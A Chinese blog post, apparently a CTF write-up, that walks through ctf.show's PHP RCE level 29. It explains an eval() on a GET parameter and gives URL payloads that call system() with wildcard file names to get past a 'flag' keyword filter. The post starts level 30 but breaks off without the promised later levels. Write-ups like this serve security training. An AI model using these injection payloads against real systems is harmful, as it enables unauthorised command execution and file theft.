CTFshow之RCE代码命令远程执行第29关到第40关详细讲解。一定教会

不在沉默中崛起,便在沉默中变态

                                                        --莫迪大仙

引言:最近学习没有头绪,想着把ctf随便刷一刷,过过瘾,试着看能不能每条10到15道题目,并且写下相关的学习记录,持续十天!今天是RCE板块29关至40关

一、实验准备

1、ctf网站:ctf.show

2、工具:firefox浏览器、hackbar插件

3、区分RCE中代码执行和命令执行的区别

(1)代码执行转换为命令执行:使用system等相关函数包裹所需执行命令

(2)命令执行转换为代码执行:使用java/python/php等语言执行器执行相关文件

二、实验过程

(一)、第29关  代码审计(php代码)

由于是第一道题目,我尽量把代码逻辑捋一捋。

1、error_reporting(0)表示关闭报错显示

2、if语句中使用$_GET接受网页传来参数值并且赋值给变量$c

3、使用函数preg_match()函数对变量$c进行正则表达式过滤flag

4、使用对变量$c执行eval函数将传入参数当作代码执行

通过以上分析,我们果断使用通配符*或者占位符?进行绕过

验证所需读取文件payload:

https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("ls");

通配符payload:

https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("tac *lag.php");

占位符paylaod:

https://2429e14d-97bb-4fc0-af07-9ea3dac3659d.challenge.ctf.show/?c=system("tac ?lag.php");

(二)、第30关 代码审计

观察形式与上一关的不同之处在于此关还过滤了system函数,不过没关系,我们只需使用其他可以使用命令执行的函数进行绕过即可

payload:

先卡一下。

相关推荐

  1. sqllab48-65通关笔记

    2024-06-16 03:48:01       19 阅读
  2. RCE远程命令执行)漏洞详解

    2024-06-16 03:48:01       16 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-06-16 03:48:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-16 03:48:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-16 03:48:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-16 03:48:01       18 阅读

热门阅读

  1. python写一个获取竞品信息报告

    2024-06-16 03:48:01       5 阅读
  2. golang HTTP2 https测试POST变GET问题小记

    2024-06-16 03:48:01       6 阅读
  3. Mybatis框架配置文件收录总结(详解附代码版)

    2024-06-16 03:48:01       7 阅读
  4. 【LeetCode 12】整数转罗马数字

    2024-06-16 03:48:01       7 阅读
  5. c++处理字符串

    2024-06-16 03:48:01       7 阅读
  6. *args和**kwargs这个在python中的意思

    2024-06-16 03:48:01       9 阅读
  7. Qt事件处理和传递流程

    2024-06-16 03:48:01       6 阅读